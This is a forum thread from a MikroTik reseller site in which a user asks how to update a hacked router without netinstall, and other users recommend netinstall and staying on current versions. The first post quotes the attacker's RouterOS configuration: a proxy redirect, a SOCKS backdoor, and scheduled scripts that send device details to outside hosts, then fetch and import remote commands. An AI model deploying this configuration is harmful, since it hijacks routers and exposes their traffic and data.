Информация
Услуги
  • Внедрение
  • Настройка
  • Поддержка
  • Ремонт
Контакты
Новинка
Распродажа
Новости
Доставка
Оплата
Загрузки
  • Прошивки
    • WinBox
    • RouterOS
    • Мобильные приложения MikroTik
    • Архив
  • RouterOS
  • Мобильные приложения MikroTik
  • Архив
Форум
Настройка
    info@mikrotik.moscow
    +7 495 320-55-52
    Заказать звонок
    Mikrotik.moscow
    Каталог
    • Акции
      Акции
    • Маршрутизаторы
      Маршрутизаторы
    • Коммутаторы
      Коммутаторы
    • Радиомосты и уличные точки доступа
      Радиомосты и уличные точки доступа
    • Wi-Fi для дома и офиса
      Wi-Fi для дома и офиса
    • LTE/5G
      LTE/5G
    • Powerline адаптеры
      Powerline адаптеры
    • IoT устройства
      IoT устройства
    • Оборудование 60 ГГц
      Оборудование 60 ГГц
    • Материнские платы RouterBOARD
      Материнские платы RouterBOARD
    • Корпуса
      Корпуса
    • Интерфейсы
      Интерфейсы
    • SFP/QSFP трансиверы
      SFP/QSFP трансиверы
    • Аксессуары
      Аксессуары
    • Антенны
      Антенны
    • Архив
      Архив
    Войти
    0 Сравнение
    0 Избранное
    0 Корзина
    Скачать WinBox Скачать Прошивки Форум > RouterOS Форум > SwOS Форум > Железо
    Mikrotik.moscow
    Каталог
    Войти
    0 Сравнение
    0 Избранное
    0 Корзина
    Mikrotik.moscow
    Телефоны
    +7 495 320-55-52
    Заказать звонок
    0
    0
    0
    Mikrotik.moscow
    • +7 495 320-55-52
      • Назад
      • Телефоны
      • +7 495 320-55-52
      • Заказать звонок
    • info@mikrotik.moscow
    • г. Москва, ул. Бакунинская, 84
    • Пн-Пт: 09-00 до 18-00
      Сб-Вс: выходной


    • Кабинет
    • 0 Сравнение
    • 0 Избранное
    • 0 Корзина
    Главная
    Форум
    Форум
    RouterOS
    Не могу обновить роутер Mikrotik, потому что он взломан.

    Не могу обновить роутер Mikrotik, потому что он взломан.

    Форумы: RouterOS, Аппаратное обеспечение, SwOS, Обратная связь, Объявления, Сторонние инструменты
    Поиск  Пользователи  Правила  Войти
    Страницы: 1
    RSS
    Не могу обновить роутер Mikrotik, потому что он взломан., RouterOS
     
    fitrah6
    Guest
    #1
    0
    20.09.2018 10:38:00
    Привет, ребята! Мой роутер взломали, и теперь клиенты из LAN-сети не могут зайти на некоторые сайты (только на некоторые, не на все). После того как я удалил конфигурацию, которую сделал хакер, попробовал обновить версию RouterOS. Но не могу обновить RouterOS ни через /system packages, ни вручную загрузив файл .npk. Как решить эту проблему без netinstall, ведь роутер находится очень далеко от меня?

    Вот конфигурация, которую сделал хакер:
    /ip firewall nat add action=redirect chain=dstnat comment=sysadminpxy dst-port=80 protocol=tcp src-address-list=!Ok to-ports=8080
    /ip proxy set anonymous=yes enabled=yes
    /ip proxy access add action=deny
    /ip socks set port=4153
    /ip socks access add action=deny src-address=!95.154.216.128/25
    /system scheduler add interval=3m name="DDNS Serv" on-event="/system script run iDDNS" policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon start-time=startup
    /system script add name=script4_ owner=user policy=ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch address=95.154.216.167 port=2008 src-path=/mikrotik.php mode=http keep-result=no"
    /system script add name=iDDNS owner=user policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=":global mac [/interface ethernet get 1 mac-address]\r\n:global port ([/ip service get winbox port].\" \".[ /ip socks get port].\" \".[ /ip proxy get port])\r\n:global info ([/ip socks get enabled].\" \".[ /ip proxy get enabled].\" \".[ /interface pptp-server server get enabled])\r\n:global cmd \"/$mac/$port/$info/dns\"\r\n/tool fetch address=src-ip.com src-path=$cmd mode=http dst-path=dns;:delay 3s\r\n/import dns;:delay 4s;/file remove dns"

    С наилучшими пожеланиями,  
    Fitrah Ali Hudzaifah Sofyan
     
     
     
    GREG3f
    Guest
    #2
    0
    10.10.2018 00:40:00
    У меня такая же проблема, кто-нибудь нашёл решение, кроме netinstall?
     
     
     
    R1CH
    Guest
    #3
    0
    10.10.2018 10:15:00
    Единственный надёжный способ — это netinstall. Эксплойт может устанавливать файлы вне RouterOS, поэтому ваш маршрутизатор остаётся уязвимым даже после сброса настроек. Вы всё ещё можете экспортировать конфигурацию и заново импортировать её после очистки.
     
     
     
    sindy
    Guest
    #4
    0
    20.10.2018 17:05:00
    @Victoria168, ни одна из правильных подсказок, которые ты дала, не поможет, если вредоносное ПО уже засело на компьютере. Так что на данный момент единственный выход — netinstall.
     
     
     
    limbo
    Guest
    #5
    0
    11.01.2019 17:08:00
    Хотя я не отвечаю напрямую на исходный вопрос, мой девайс тоже взломали, и мне пришлось использовать netinstall. Так что у меня такие вопросы: как злоумышленник вообще получил доступ? Для чего этот взлом — удалённое управление, перехват пакетов, DDoS-атаки, майнинг биткоинов? Как я могу вовремя проверить, в безопасности ли мои устройства? Я понял, что что-то не так, когда доступ через Winbox был заблокирован. Есть какие-то советы?
     
     
     
    sebastia
    Guest
    #6
    0
    11.01.2019 19:53:00
    В версиях до и включая 6.42 было несколько известных багов. Некоторые из этих уязвимостей позволяли получить низкоуровневый доступ к системе, даже ниже уровня доступа администратора. На какой версии вы сейчас? Совет: следите за блогом безопасности и обновляйтесь…
     
     
     
    anav
    Guest
    #7
    0
    11.01.2019 20:00:00
    Насколько я понимаю, Себастия, эти баги могли стать уязвимыми, если не соблюдать базовые правила безопасности.
     
     
     
    Страницы: 1
    Читают тему
    +7 495 320-55-52
    info@mikrotik.moscow
    Электрозаводская, Бауманская
    Москва, ул. Бакунинская, 84с21
    Конфиденциальность Оферта
    © 2026 «Mikrotik.Moscow»
    Главная Каталог 0 Корзина 0 Избранные Кабинет 0 Сравнение Акции Контакты Услуги Бренды Отзывы Компания Лицензии Документы Реквизиты Поиск Блог Обзоры